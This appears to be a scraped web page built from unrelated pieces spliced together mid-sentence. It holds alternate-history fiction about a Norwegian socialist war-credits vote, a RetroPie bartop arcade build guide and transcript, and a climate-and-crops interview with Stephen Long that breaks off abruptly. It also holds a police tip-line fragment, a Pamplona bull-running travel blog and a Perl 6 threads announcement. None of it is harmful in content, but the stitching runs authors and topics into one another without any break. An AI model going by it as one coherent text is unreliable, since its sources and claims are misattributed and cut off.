“Quiet, there!” Geir wished uselessly for Gjest’s booming bass to overcome the rowdiness of his party comrades; but he was stuck with his own tenor – musical, his wife liked him to sing while she played the piano, but not the sort of voice that shouted down an organised claque. He had, nonetheless, a trick up his sleeve, if an experimental one: He gestured to Håvard, standing in the door to the side of the lectern in the plain gray uniform of the Strike Guards. Håvard pulled a switch, and popping and snapping sounds announced that the ultramodern electric gear, expensively imported from Russia, was active. Geir spoke again: “QUIET, I SAID.” This time his words boomed out like gunshots, somewhat distorted but recognisable enough, and underlined by a harsh squeal of feedback. Even Geir, who had been expecting it, was surprised by the effect; the Russian salesman had not exaggerated. The claque, startled, lost their cohesion. Another amplified shout made it clear that Geir could carry on all night; unaided human voices weren’t going to win the competition with machinery. Even among Socialists, Geir thought wryly; it was, in microcosm, a demonstration of the very problem Landsorganisasjonen had been intended to solve, that machinery could make one man do the work of twenty, and thus put nineteen out of work.
The problem couldn’t be solved by smashing the machines, however; the system had to be reformed so the nineteen could eat, not destroyed. And tonight the amplification was useful.
“Thank you,” Geir said in a more normal speaking voice. “Now perhaps we can discuss this matter like men grown.” There were rumblings of discontent to his left, where the peace faction sat, but no more attempts at making discussion impossible; probably it had only been a demonstration of strength. There had been fistfights in the Workers’ House before, and once something rather close to a pitched battle with knives and broken bottles. For a moment Geir wished for the dignified, low-voiced decisionmaking, in smoke-filled rooms open only to invited gentlemen, that was said to create the consensus of the Kristelig Folkeunio. But then, that staid old organisation had been bleeding voters for twenty years; Landsorganisasjonen might be unruly, but it was also vigorous.
“Bjørn,” he said. “Five minutes. Tell us why we should not vote for war credits. No personal insults, if you please.” That meant insults against Party members; a few epithets against capitalists and exploiters were expected. The man thus named rose to his feet to speak:
“Why should the people pay for a capitalist war? This is nothing but mystification, a short victorious war to stem the tide of revolution. And a stupid target at that; a war with India will be anything but short. If this bond issue passes there will be others, mark my words. And money to one side, it’s a rich man’s war but it’ll be a poor man’s fight. The regiments are out drumming up men already.” The phrase was literal; Norwegian regiments announced their need for men by marching up and down streets beating on drums, advertising enlistment bonuses by the number of beats between pauses. The day before Geir had heard a pattern of five beats, meaning five shillings; an unprecedented amount. “You don’t think the exploiting swine will do their own fighting, do you? War with India means ten [url=http://forum.paradoxplaza.com/forum/showthread.php?753005-quot-At-civilization-s-end-quot-an-MP-Megacampaign&p=16909572&viewfull=1#post16909572]May Massacres[/url] a day!” There were indrawn breaths; the Massacre, with its three hundred dead, was a founding myth of the Landsorganisasjon. Privately Geir thought that an underestimate; but then, men who joined the regular army instead of the Strike Guards – well, hunger could make a man desperate, but there was a difference between martyrs for the workers’ cause and casualties in an imperialist war. He kept the thought to himself, however – many of the men in the room had brothers in the colours, or had served themselves – and called on the next speaker. “Johannes. The case in favour. Five minutes, no insults.”
“Bjørn is perfectly correct,” Johannes said. “A war with India will not be short. When the drummers go through the streets beating seven, nine, twelve beats, and nobody signs up, won’t the workers be radicalised? When the fourth and fifth issues go out, even the so-called patriots who club together to buy state bonds at a shilling each will understand that wars are not fought for their benefit. The worse the situation, the better for us; the exploiters are playing right into our hands! If they’d picked Bavaria as their target, or France – but they have their marching orders from Moscow, of course. The worse for them! A long, bloody war is just what we want, to educate and radicalise the masses. When the army comes home, the streets will be full of veterans, and will they be given pensions as a thank-you? It is to laugh. The Strike Guards can make good use of such men.”
“As for the people paying, after all we speak of loans. The war won’t be short, but I notice nobody argues that it won’t be victorious; India can’t defend its coastline any more than so many African chiefdoms. The aristocrats will turn the screw on them, make them pay; that’s how feudal classes make their money, by exploiting directly using raw force instead of indirectly using hunger. And, fair’s fair, why shouldn’t the Indian manufacturers pay for our bread, for a change? You can’t tell me we’ve no use for Indian silver, honestly stolen; most of it was ours to begin with.” There was a murmur of appreciation; the older Landsorganisasjon men still had a soft spot for Gjest’s old occupation of directly stealing from the rich.”
“And finally, what of the Congo? The blacks are our brothers, as exploited as any matchstick girl; we should stretch out our hands and help them rise, strike off their chains so they can help with ours. Arise, all the Earth’s bounden thralls! Are we international socialists, or exploiters of African labour? Many of us wear Indian cloth; it’s cheap because the Congolese work, not for slave wages, but with a rifle to their heads and a whip to their backs! Is not their freedom worth fighting for, too? Or do we only care for our own, like so many bourgeoisie?”
Freedom for the black colonies was a popular cause, even among some of the ruling classes who were otherwise utterly opposed to everything Landsorganisasjonen stood for – likely because Norway didn’t have any such colonies, Geir thought cynically. Someone at the back of the room took up a chorus of “This is the final struggle”. Geir let it go on until “unites the human race,” pounding the point home, then interrupted before anyone could start on the actual verses – he didn’t have to be completely impartial, but he couldn’t make his partisanship too obvious, either.
“All right, that’s enough,” he said. “I call the vote.” Before he could formally set forth the question, though, Bjørn interrupted:
“If you vote credits for an imperialist war we’ll split the Party!”
Geir blinked; that was a new one, and not good. “We’ve had castle-peace in the workers’ movement since Gjest’s day,” he remonstrated. “It’s our one advantage over the exploiters. Show some Party discipline, comrade.”
“You show Party discipline,” Bjørn shot back. “If the Party betrays the revolution by fighting an imperialist war, it is no longer the castle of the workers against exploitation – it is their tool!”
“The Revolution is not a tea party,” Geir said. “If we can free the Congo, we have an obligation to export socialism there, at the point of a bayonet if necessary. If the imperialists are foolish enough to declare a war that suits our purposes, the worse for them!” In spite of his words, though, he had to reconsider. The war might be useful, but was it worth splitting the Party over? Then again, how good was Bjørn’s threat? He took a quick head-count; the pacifist wing was loud, but it was perhaps half the size of the faction trying to shout them down – not so much in enthusiasm for war as in indignation over the threat. Moreover, only Bjørn among the pacifists was a delegate to the Storting, or at all prominent in the Party; apart from him the pacifists were mainly young idealists, without the street connections that gave the Party its fighting and voting strength. They could walk out without much weakening Landsorganisasjonen; and to give in to threats was a bad precedent. Should every man with some following be able to veto a vote by threatening to split? Geir set his jaw.
“We’ll take the vote, and it will bind our delegates,” he said. “Those in favour of war credits, to the right – my right, that is.” There was some scattered laughter; confusion over which way was right was an old joke in these meetings. “Those against, to the left, and both sides remember, no enemies to the left.”
It was a formality; Bjørn’s threat to split the Party had made it a point of Party unity rather than policy or tactics. Even among those who hadn’t been convinced by Johannes’s clever rhetoric few wanted to associate with splitters; only the hardcore pacifists went left, perhaps one in ten – and seeing which way the wind was blowing, a few even of those bolted back across the floor at the last moment.
“The ayes have it,” Geir announced. “The Party will vote in favour of the bond issue.”
Bjørn didn’t waste further words; he turned on his heel and walked out, taking his comrades with him.
AdvertisementsWatch the RetroPie Bartop Arcade Cabinet Video
Arcade Cabinet last summer was one of my all time favorite projects. It been one of my most popular videos ever, and many of you have sent me awesome pictures cabinets you built that were based on my arcade cabinet plans. One piece of feedback that I have gotten over and over is that this cabinet is too large and too complex for many of you. Some of you wanted me to cover the electronics in the plans (rather than just the woodworking portion). Well I am happy today to bring you the RetroPie Bartop Arcade Cabinet! This cabinet, as the name implies, is much smaller and can sit on top of a desk, table, or bar. The monitor is 24 inch, instead of 27 inch, reducing the width of the cabinet by a full 4 inches. The computer is a Raspberry Pi running a RetroPie which makes installing and setting up the game system incredibly simple.
Using the Raspberry Pi for the Bartop Arcade
Some of you will undoubtedly ask why I would use a Raspberry Pi instead of a full PC, like in my original full-size arcade build. There’s a bunch of reasons!
The Raspberry Pi is only $35. Literally anyone can afford to buy a Raspberry Pi!
The emulation software is pre-built and pre-configured. All you have to do is download it and place it on an SD card. It honestly couldn’t be any simpler.
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There are emulators for the Commodore 64, Amiga, Nintendo, Atari, etc all included.
The RetroPie interface is clean and super easy to use.
The Raspberry Pi has a general purpose Input/Output (GPIO) that can be used to control all sorts of things, such as flashing lights, sounds, or even flash your lighted marquee. Imagine if you get shot in Quake and the marquee flashes or the cabinet vibrates. All of that is possible with the GPIO pins of the Pi.
All of that being said, most certainly all of this can be accomplished with a PC. It will just cost more and take a little longer and in some cases require a few extra add-on components.
The Controllers and Buttons for the Bartop Arcade
On this build I decided to switch from the X-Arcade joystick and controller over to the Sanwa Arcade Joystick & Buttons and Easyget LED Arcade Controller. I did this because I wanted to add some color to the cabinet and I also wanted the buttons to have LED lights in them, so that I could put transparent labels under the buttons. I felt like this would make a really cool effect. I bought one red joystick, ten red LED lit buttons, one blue joystick, and ten blue LED lit buttons.
The only real downside to the Sanwa solution over X-Arcade is that each set of joystick and buttons requires a separate EasyGet controller. If USB ports are at premium in your arcade you’ll need a USB hub to use them. In addition, you’ll have to find additional space to mount each controller board on the inside of the control panel.
Finally, I do really love the ball top joystick as compared to the teardrop provided by X-Arcade. It just feels very retro and has that old-school arcade look!
Constructing the RetroPie Bartop Arcade Cabinet
Step 1: Layout the Side Panels
The first step is to layout the side panels on a sheet of MDF. You only need to draw out one panel, because we will cut both panels at the same time.
Step 2: Draw in the Curves
You’ll need a compass to make the curves. Unfortunately the little store bought ones won’t work. I made one out of nothing but a 14 inch piece of scrap wood and a bolt. The easiest solution would be to use a 14 inch string, with your pencil tied to one end and a nail tied to the other.
Step 3: Cut Out the Side Panels
Cut the MDF panel in half and sandwich the left and right panels together. Clamp them to a table, and then use your jigsaw to cut them out. Once your finished with the cut, unclamp the sides and fold them open. This will reveal two exact copies a mirror of each other.
Step 4: Install the Connectors
To connect the side panels the center panels you could just glue and brad nail them directly together (or use screws or nails). However, that would be incredible hard to hold in place during assembly and it would also be difficult to make sure both sides were perfectly aligned and square. To make it easier, first we lay out 3/4 x 3/4 inch connectors on the panels. We can take our time and measure everything out, and then glue and brad nail those to the panels. But! This also has another great benefit: No visible nails or screws on the outside of the cabinet that will need filling later!
In my case I am using 3/4 inch MDF to build my cabinet, so these connectors are inset exactly 3/4 inch. You’ll need to adjust your spacing if you go with a thicker or thinner material.
Step 5: Assemble the base Arcade Cabinet
With step 4 done, assembling the arcade cabinet is almost as easy as legos.
Step 6: Route the T-Mold Slot
This is a completely optional step depending on how you want your finished arcade to look. I personally love the retro look with T-Molding. T-Mold requires a slot in the MDF. You have to route all of the components before final assembly, otherwise your router won’t reach the internals. If you’re not going to add T-Mold, you can skip this step.
Step 7: Install the Front and Back Panels
Now that we’ve routed all of the T-Mold slots we can finish install the panels. On the backside we’re leaving a large 14 inch hole. We’ll make a door to cover this in a later step.
Step 8: Drill the Control Panel
The control panel can be a real pain to drill out accurately. That’s why the plans include a glue on drilling template. Just glue this drilling guide to your control panel and with spray adhesive, drill the holes and then remove it by peeling it off. I recommend Super 77.
Step 9: Install the Back Door
The back door of the cabinet will be used for maintenance purposes.
Step 10: Drill for the Speakers
Another really hard thing to get aligned is the speaker holes. They consist of 60 holes on each side of the cabinet. I’ve included a left template and a right template with the plans. Hitting the holes with a sanding sponge will make them look like they were made at a factory.
Step 11: Prime the Bartop Arcade Cabinet
It is critically important to prime MDF. MDF by its nature will soak up paint. Ultimately MDF is nothing but glued together sawdust. I really like to use Rust-Oleum’s Filler Primer with MDF. It will fill any tiny cracks and imperfections. The only downside is that you absolutely must hit it with sandpaper between primer coats and before painting. It is worth it though because this will leave you with an incredibly smooth base to lay your paint on top of. It changes everything when painting MDF.
Step 12: Paint the RetroPie Cabinet
In my full-size arcade cabinet build I got a lot of comments like “Yeah, anyone with an HVLP sprayer can paint like this.” So with this build I decided to do everything with rattle cans. I can assure you the paint came out just as good.
Step 13: Install the Electrical
I installed a quad outlet plug inside the arcade cabinet. This provides the exact number of outlets needed to run the RetroPie Arcade since most everything else is USB powered.
Step 14: Install the T-Molding
The T-Molding pops in the to T-Slots we routed earlier. I find the best way to install it is with a small rubber mallet. At the 90 degree turns you’ll need to notch the ribbed track to allow it to curve around the corners. It makes for a very clean look.
Step 15: Install the Marquee Light
I like to line the inside of the marquee’s slot with reflective tape. This makes for a cleaner look once it is lit. The LED light is simply a cheap $20 light from the local big box store.
Step 16: Assemble the RetroPie Arcade Control Panel
Install the joysticks into the arcade with four screws. Install all of the buttons and screw the large plastic ring nut to the back. Then plug all of the controls into the controller boards.
Step 17: Assemble the Major Components
Install the control panel board and install the monitor. The monitor just slides ins place and is held by friction.
Step 18: Install the Raspberry Pi
Install the Raspberry Pi. I used an industrial adhesive backed velcro to hold all of the components in the back of the cabinet.
Step 19: Install the Lighted Marquee
The Marquee banner is just a poster I had printed at a local office supply store for $5. It is sandwiched between two pieces of plexiglass that I cut out on the tables saw.
The Completed RetroPie Bartop Arcade Cabinet
The completed cabinet turned out awesome! I am super excited with this one! Stay tuned for future projects and we’ll break down some of this build into more detail, including the specifics of loading the Raspberry Pi!
Some of our Awesome Customer’s Work
Check out some of these truly amazing looking builds from our customers, based on this set of bartop arcade plans.
Video Transcript
Hey guys! It’s Mike, from The Geek Pub! And on this episode we’re going to make this awesome BarTop Arcade cabinet using a Raspberry Pi!
The first thing we want to do is layout the side panels of the RetroPie Arcade Cabinet onto a section of medium density fiberboard. As alway, you can get all of the dimensions in the plans at TheGeekPub.com.
After drawing a rectangle the size of the arcade cabinet, I used my angle finder and a straight edge to transfer the angles.
I couldn’t find my square, so I just used piece of known square plywood to make a 90 degree line for the front of the marquee.
You’ll need a compass to draw the large curved section of the side panels. Rather than buy one, I just used a scrap piece of oak, a pencil, and bolt with a pointed end to make my own. You’ll need to make two tick marks from each end. Wherever they meet is the where you’ll place the center of the compass to connect the top and bottom.
I used my table saw to cut out the rectangle, and then made a second rectangle. The second one will be clamped under the first one. This will allow us to cut out both side panels in one go.
I used my air compressor to keep the sawdust out of my way. This keeps the line highly visible while I cut out the side panels of the arcade cabinet. The best rule of thumb I can give you when using a jigsaw is: Go slow! Take your time. It makes a big difference in the finished product.
Once the panels are cut, open them up on the workbench like a book! You’ll have two identical side panels for your arcade!
I cut out a bunch of sections of 3/4 X 3/4 inch MDF to use as connection points inside the bartop arcade cabinet. These are inset exactly 3/4 inches. This not only makes the assembly of the arcade cabinet easier, but has the benefit of leaving no exposed nail heads or screws on the outside of the arcade cabinet.
Where appropriate, rather than measuring I simply used spacer of the right size. This ensures my spacing will be dead on accurate. You can cut these spacers from scraps. Simply pull them out and discard them afterwards.
You can use also reuse the spacers as angle finders and place holders when gluing and nailing in your connectors.
The next step is to glue and brad nail the side panels to the top and bottom panels. Be sure to make sure everything is square. If you don’t have a brad nailer you can use screws or just use clamps and wait for the glue to dry.
The 3/4 inch connector pieces we put in earlier make assembly super simple. All you have to do is add glue and line everything up. Again, I am using brad nails to speed up the process. The brad nails are simple there to hold everything together long enough for the glue to dry.
I love the retro look of T-Molding on arcade cabinets. In order to install T-Molding, we need to cut a T-slot in the side panels and all of the components. You have to do this before final assembly as the router will not reach everything after assembly.
Now that we’re done with the routing, we can simply install the remaining panels. We’ll start with the bottom panel of the marquee.
This board will be the bottom frame of the LED monitor.
Then we will install the front of the control panel. This board is slightly inset for a 3D appearance.
On the backside we just need to frame in where the access door will go.
I created this awesome drilling template that you can get on TheGeekPub.com. Just lightly coat the back of it with spray adhesive and press it to the control panel. Using the template makes it super simple to drill out all of the holes for the joystick and the buttons. It’s also a fantastic reference sheet for install the buttons later.
I used my drill press and Forstner bit to drill out the holes, but you can use a handheld drill and a paddle bit in a pinch.
Once you’re finished, just peel the template off and discard it.
I cut a section of MDF the exact size of the access panel in the back of the arcade and installed it using a piano hinge and a small latch. This will allow future access to inside of the cabinet for maintenance reasons. I used a couple of paper spacers to center it and my square to make sure everything would open and close easily.
The arcade cabinet has two speakers, one on each side of the cabinet. Provided in the plans is a drilling template for each side to make drilling the 120 holes much simpler. Just attach them with spray adhesive. And then get ready to drill and drill and drill and drill.
When your finished drilling, just remove the template and use a sanding block to remove any burs, it will look like it was made in a factory.
The next step is to prime the MDF. Primer is critical if you want an awesome finish. When I prime MDF, I like to use filler primer as it fills in all the little imperfections. You’ll need to sand it with 220 grit sandpaper before you paint it though.
In my full-size arcade cabinet everyone told me that it was easier because I had an HVLP sprayer, so for this cabinet I am using rattle cans from my local home improvement center. I decided to go with flat black.
With the cabinet laying on its backside, I installed some polyurethane feet to keep the cabinet from sliding around not he table.
I installed an electrical box in the back of the cabinet and then drilled a hole to accept the power cord. This will be the electrical system for the entire cabinet.
In the electrical box I installed quad outlets, exactly the number of plugs necessary to power the RetroPie Arcade!
The next step is to install the T-Molding. I find the best way to get a smooth finish is to use s small rubber mallet. Take your time and go slow and the results will be fantastic.
When you get to one of the 90 degree cuts you’ll need to cut the track section of the T-Molding to allow it to bend around it. This really makes for a nice seamless look.
In order to make the lighted marquee more uniform in appearance, I like to line the inside of the marquee with reflective tape. Once that’s done I install an 18 inch LED light from the local big box store.
Installing the controls is very simple. Each joystick requires four screws, i recommend pre-drilling these to make sure they sit flush.
The tops of the joystick have a black washer to cover the hole and then you just screw on the balls.
Then its just a matter of inserting all of the button into their respective holes.
On the back of the board you just install a large plastic nut on the back of each button.
Now it is just a matter of plugging every button into the correct socket on the controller board.
I love these USB powered speakers because they fit perfect in arcade cabinets and don’t take up much room. I just use hot glue to hold them in place, and they be easily removed with a heat gun.
This is where the really fun part begins. Final assembly! Start by popping the controller board in place and and installing the monitor.
I like to use this industrial adhesive velcro to hold the components in place. It allows you to easily remove them later for maintenance but will last forever.
For cable management I use this two sided velcro stripping to roll up the wires.
You can get your marquee printed at any office supply store’s copy center for about $5. Then you just need to cut it to fit the size of your marquee. You’ll sandwich it between two pieces of clear plexiglass. Don’t forget to peel off the clear plastic protector it comes with.
The marquee banner just drops into place.
To keep it from coming out I just glued in two small 1/4 inch pieces of MDF that I pre-painted black.
The last step is to plug in the LED light!
OK! Well I think this cabinet might have been more fun than my full-size arcade cabinet and the reason why I think is because I used a Raspberry Pi. Now a lot of you are probably asking “Why did I use a Raspberry Pi?” Well the first reason is very simple. It costs $35 dollars. Literally anyone can afford to buy a Raspberry Pi! The second reason is RetroPie. So RetroPie is preconfigured. You just download it from their website. There’s no configuration trying to figure out how to get some front-end to work or some game to work. You just download the entire RetroPie image and load it on your Raspberry Pi and you’re done. You’re ready to go. All you have to do then is drop your game ROMs on. The third reason is that the Raspberry Pi has GPIO. Now I did not use any of the GPIO features on this cabinet. But if you wanted to have a game say where if you crashed, the cabinet would shake. Using the GPIO off the Raspberry Pi would make that incredibly simple. And then finally the fourth reason is no cooling. So the Raspberry Pi puts off almost no heat. So you can put the Raspberry Pi in here with no fan and you are ready to go. If you wanted to use a PC in this cabinet instead of a Raspberry Pi I would probably just add a fan to the back door and plug it into one of the USB ports.
Well guys, stay tuned for some future videos, because we’re going to break this down a little but farther. We’re going to talk about the Raspberry Pi and how to load RetroPie and some of those other things as well as how to connect the control boards in a lot more detail. So look for those coming up.
Well hey be sure to follow me on Facebook and Instagram. That’s Facebook.com/TheGeekPub and Instagram.com/TheGeekPub. I post pictures of all of my projects as I build them, so you get a sneak preview of what’s coming in the next video. Also consider becoming a patron on Patreon by clicking this link here. That will help me fund projects like this and I can make more videos. See ya next time.Stephen Long. UNIVERSITY OF ILLINOIS
The world’s demand for food is expected to rise 70 percent by 2050. Much of this demand will have to be met by boosting the supply of staple crops such as rice, maize and wheat, which provide about 60 percent of the calories consumed by humans. Yet yields of the most important food crops are stagnating, and new research spearheaded by botanist Stephen Long indicates that they are likely to fall further between now and 2050, as climate change worsens.
It has long been thought that climate change could enhance crop growth through the fertilizing effects of carbon dioxide. But research conducted by Long, a professor of crop sciences at the University of Illinois at Urbana-Champaign, shows that any gains from CO2 fertilization will be offset by damage to plants from higher air temperatures, increases in atmospheric ozone, and the greater efficiency of crop pests in a CO2-enriched world. Having just been awarded a $25 million grant from the Bill and Melinda Gates Foundation, Long’s research will now focus on finding a solution to the threat of diminished food supply.
In an interview with Yale Environment 360 contributor Olive Heffernan, Long discussed the impacts of climate change on some of the world’s most important crops, the challenge of boosting crop yields to meet the demands of a burgeoning human population, and how tinkering with the genes involved in plant photosynthesis may provide the solution scientists are seeking.
Yale Environment 360: It has previously been believed that an increase in atmospheric carbon dioxide would boost crop yields through fertilization. How does your research challenge this?
Stephen Long: The impact of CO2 on crops has been seen as the one benefit we would get from climate change. We do know that if we elevate CO2 in the laboratory, we see a boost in the yield of many crops. But what we’ve now begun to observe is that when we do this under open field conditions, without any enclosures, we do not see the large yield increases that were expected from laboratory experiments.
“One observation we made in experiments was that pest incidence goes up under elevated C02.”
The focus of our own work was on soybean and maize, but we also tracked work that had been done on wheat and rice. We found — for all of these crops — that in the field, the expectation that rising CO2 will boost yields by quite a significant amount was not realized to the extent expected. So, for example, at carbon dioxide levels predicted for 2050, in the laboratory you might get a 30 percent rise in yields of soybean, but we were seeing yield increases of under 15 percent in the field. And in the case of maize, we didn’t see any increase at all.
e360: Do you know why this is? What are the mechanisms at play here?
Long: Well, we know that temperature and ozone also affect crop yields, so those effects will also come into play with climate change — CO2 will not be acting alone. In field experiments, elevated ozone always results in a decrease in yield. One of the things that one of our research team picked up was that modern plant cultivars are actually more vulnerable to the effects of ozone than older cultivars, so there’s been no selection for improved tolerance of ozone. The possible explanation that we came up with for that was that modern cultivars have slightly higher photosynthetic rates and that appears to be one reason for their increased productivity. To allow more carbon dioxide to enter the leaf, they’re opening their stomata — the pores in the leaf — wider and this is allowing more ozone as well as CO2 to enter the leaf and so is causing damage.
In the case of temperature, it’s a little more complicated because if you’re growing a crop at its cold boundaries, for example, like wheat in northern Sweden or maize in Canada, increasing temperature may actually give you an increase in yield. But at the southern edge of crop growth in the northern hemisphere — where crops are at the upper limit of their thermal range — then any increase in temperature will cause a decline in yield. This is particularly problematic for many developing countries, which are in the tropics.
e360: Are some of the effects that we’re seeing due to the interaction of temperature, CO2, and ozone?
Long: Yes. At least in the laboratory, CO2 has been shown to provide some protection against ozone. At higher CO2 concentrations, stomata close a little more and so this decreases ozone uptake. But that doesn’t mean that that damage caused by ozone will go away as atmospheric CO2 increases, and in fact, the Intergovernmental Panel on Climate Change predicts that ozone levels globally will rise. This particularly |
TIPS), toll-free at 1-800-222-8477 or downloading the Ottawa Police iOS app.Suddenly we heard it. A wave of terror shot through the crowd. The fragile strings that silently hold society together, snapped. I was in a thin alleyway with 50 other runners and a stampede of bulls were heading, horns drawn, straight toward us.
My first impression of San Fermin, the Spanish holiday that encompasses the running of the bulls, was one of disappointment. As I walked the old quarter of Pamplona, I heard more English than Spanish. Australians, Canadians, Brits, and their youngest family members were everywhere. It was as if I had walked into a themed kindergarten pageant rather than a blood thirsty race for life.
When doing life list items I always have a conscious fear that if I don’t actively fight my normal tendencies, I will merely check the item off my list rather than actually live it.
My first impressions of this holiday, and the dilution of the authenticism, poured fuel on my fear. I went to bed disappointed and unexcited for the day to come.
Something Changed
The next morning, I arrived to the bull fighting arena (the finish line for the running of the bulls) at 6:30am sharp. The atmosphere there was the complete opposite of my experience the day before.
The narrow streets were crowded with locals and tourists alike. Old Spaniards were warming their legs up with fiery concentration. Old women were bustling around trying to calm their anxiety with busy work. Energies were high and the Spanish spirit was shining brightly. Every single person in eyesight was dressed in the traditional white and red. As I walked onto the running path, shop keepers were literally barricading their doors and massive gates were being folded out to block off the path.
People started scaling building to get good views and locals started appearing on their balconies.
I found a strategic starting place in a corner and waited as the old central clock tower moved toward 8:00am. The police were out in heavy force and the rules were broadcast ten times in multiple languages (no wearing anything with straps, no filming, no drinking or doing drugs, no disobeying police orders and no taunting the bulls.) Meanwhile, screens showed highlights of runners getting trampled and gored.
The police were quite strategic in first crowding the runners together and then spreading the group thin to check for hazards. I had my GoPro and watched nervously as police grabbed and extracted runners who mistakenly revealed they too were smuggling cameras The police were extremely strict but for good reason.
Each year between 200 and 300 people get injured during the runs. The most frequent injuries are scrapes and bruises from falling. The most deadly causes of harm are the not so rare instances of goring and the real danger of suffocation caused by pile-ups.
To my left was a Spaniard who was working his way through a preplanned stretching routine. His tone and attitude were the utmost serious and alert. It was clear that he was a veteran of the race. To my right was an American college student who was having trouble hiding his nervousness. He fidgeted while eyeing the people up in balconies who were eyeing him.
Exactly at 8:00am, a cannon went off in the distance and a large section of the crowd started to run. I stood back knowing the bulls would need time to get to my location. Meanwhile, flashbulbs lit up the alley I was in and TV cameras zoomed in on the crowd of runners.
As I waited for the bulls, my legs tensed up and I could hear my escalating heartbeat in my head. My mind was darting between questions. How do they stop the bulls at the end of the race? Should I ditch my hidden camera and just focus on the race? Where were the exit points I was expecting on the running path?
Suddenly the people hanging out the windows above me started screaming loudly. The bulls were in sight.
As soon as the runners on the street level glimpsed the beasts, real primal panic infected the crowd. I had prepared myself mentally for the bulls but I suddenly understood that the other runners were my real threat.
The crowd surged and immediately someone tripped. This caused a domino effect and raised the level of panic higher. The societal strings had snapped. A young man pushed over an middle-aged female runner and an entire mass of people pressed me into a wall. Every person put every ounce of effort they had into getting out of the way of the bulls.
I had experienced panic in my life but this was the first time I had experienced real terror. Both panic and terror are over saturated fear. The difference, I learned, is that panic is fast whereas terror is deep.
The street was too narrow and the walls were too high. Right in front of me, a pile-up of fallen people formed. Just then, the herd of bulls, horns drawn, dove through the pile of frightened and downed runners.
I had wanted hardcore realism and received it in the form of random people’s blood on my shirt and a hard strike to the back of the head. Instinctively, I put all of my body’s power into moving forward. The rush was terrifying but exhilarating!
Most of the bulls made it through the pile-up while only mildly slowing down (imagine a bowling ball hitting a group of human bowling pins) but one larger and slower bull fell onto a guy who was on the ground in the fetal position. The runners ran as the unlucky guy took a hoof to the mouth. Others shook around askew on the ground trying desperately to avoid the same fate.
The bull finally regained its footing and ran forward down the alley.
The remaining upright runners, myself included, did everything we could to follow the lone bull down the alleyway. One hundred meters down the alley, a bolt of fear hit the group as the sound of another bull went out. Someone kicked my shin and I hit a wall and a group of people. Off balance, I just barely stayed upright as I sprinted lopsided away from the upcoming bull.
Together the remaining runners and I poured into the packed bull fighting arena. The crowd of 20,000 spectators cheered and celebrated as we arrived.
The Surprise
If you plan on running with the bulls yourself, you might want to skip reading this section. It would be a shame to have the surprise ending spoiled for you.
As we entered the packed arena we echoed the cheers of the crowded stands. We literally jumped for joy! We had made it. The danger was over.
As people swapped cameras to take photos of each other, the feeling of glee was sharply interrupted.
Somehow, an angry bull had entered the arena.
I looked around franticly. The circular walls that enclosed us were at least two meters tall and all of the exits were blocked. As we stood on the enclosed stage of the bull fighting arena cramped in a tight, overcapacity crowd, we quickly realized that our new predicament was the real show. The 20,000 spectators hadn’t come to cheer us on, they had come to watch us squirm. It was a modern day gladiator battle.
It was a cruel joke that the entire city was in on.
Instantly, the same raw terror from earlier entered my body.
The crowd quickly surged as the entire group pushed up against the tall arena walls. I was packed in the crowd at least 8 people deep and the spectators above were cheering with excitement. The trapped group clawed at each other trying to scale the wall as the bull lurched around.
As the bull swerved away from me and my pile, I bolted away from it and scaled a pile of people near the fence. Somehow I simultaneously had a random foot on my shoulder and another one under my leg.
Up on the fence, I turned around and realized the hilarity of the situation. There was real danger in the on-going show, but up on the wall I could appreciate the harsh humor of the situation. I watched as the bull flipped a full-sized man into the air.
The organizers cycled in new bulls and the group of former runners gradually figured out the game. A few were too bold and got trampled but the vast majority scaled the fences without major injury.
I thought back on the previous 15 minutes and was both shocked and amazed. Running with the bulls had been far more intense and exciting than I had anticipated. It far exceeded my expectations and taught me a new lesson on the how deep fear can go.
Tips for Running with the Bulls: (Special thanks to Dan Ciorba for the help!) Get to the running course early. I recommend 6:30am or earlier.
Don’t bring any bulky camera equipment (I brought a GoPro with a “selfie pole” and ended up ditching the pole. I saw one guy get kicked out for the same offense)
Remember that the fiercer and faster bulls are in the front of the herd.
Be sober (or relatively close to it)
There are 12 bulls, six wild ones that start the race and six older ones that bring up the rear.
Try to remember how many bulls are still behind you. They are herding animals so if a bull gets loose from the pack and is alone, he’ll freak out and become more dangerous.
Your biggest hazard in the race is typically the other runners – so keep your head on a swivel, looking forward for people and backwards for the bulls.
San Ferman lasts for eight days. Most days start with a bull run and continue with parades, outdoor dancing, a bull fight and a fireworks show that lasts late into the night.
My first major surprise was learning that the events start at 6:30am. The run starts at 8:00am but the drinking starts an hour and a half earlier. I’m a computer guy and didn’t realize that drinking could start so early!
A Note on Animal Rights: Part of traveling the world and pursuing a Life List is exposing yourself to things that make you feel uncomfortable. Being mentally stretched is essential to personal growth. I am an animal lover but also realize my perspective is not the only one out there. I urge all of you to try to view issues that make you uneasy from the perspective of people on the opposing side. You don’t have to ultimately agree with them but understanding other viewpoints will help open your mind. As I mentioned, I am an animal lover but I am also a meat eater. This Life List item is an example of my personal journey into exploring my complicated relationship with food and animals. It isn’t going to be an easy journey to watch but it is an important experience.
P.S. I am just finishing up nearly a month of constant travel. I spent a week and half in Brazil experiencing the World Cup, spent five days at the Roskilde Festival, the biggest music festival in Europe and then immediately flew to Pamplona to run with the bulls. I am feeling exhausted but more alive than I have in several months.
Photo Credit: Mike BriceThreads for Rakudo Perl 6
So it has come to this. Threads.pm is up and running, bringing the ever-wanted threaded execution to the most popular Perl 6 implementation.
You’re looking for TL;DR, aren’t you? Here’s what it’s capable of:
use Threads; use Semaphore; my @elements; my $free-slots = Semaphore.new(value => 10); my $full-slots = Semaphore.new(value => 0); sub produce($id) { my $i = 0; loop { $free-slots.wait; @elements.push: $i; $i++; $full-slots.post; } } sub consume($id) { loop { $full-slots.wait; my $a = @elements.shift; $free-slots.post; } } for 1..5 -> $i { async sub { produce($i) } } for 5..10 -> $i { async sub { consume($i) } }
Doesn’t look that awesome. I mean, it’s just a producer-consumer problem, what’s the big deal? Let me repeat:
OMG, RAKUDO HAS WORKING THREADS.
So, once we’re done celebrating and dancing macarena all around, there’ll always be someone to ask “hold on, there’s gotta be a caveat. Something surely is missing, explain yourself!”
I’ll be delighted to say “nope, everything’s there!”, but that’d make me a liar. Yeah, there are missing pieces. First, those aren’t really native threads – just green threads. Native OS threads are already implemented in Parrot VM, but NQP (the language that Rakudo is based on) still doesn’t support them, so before some volunteer comes along to fix them, you’ll still have to build parrot --without-threads (which means: use green threads, not OS threads) for Threads.pm to work. But fear not! The API is exactly the same, so once native threads are there, both Threads.pm and the code you write with it should work without any changes.
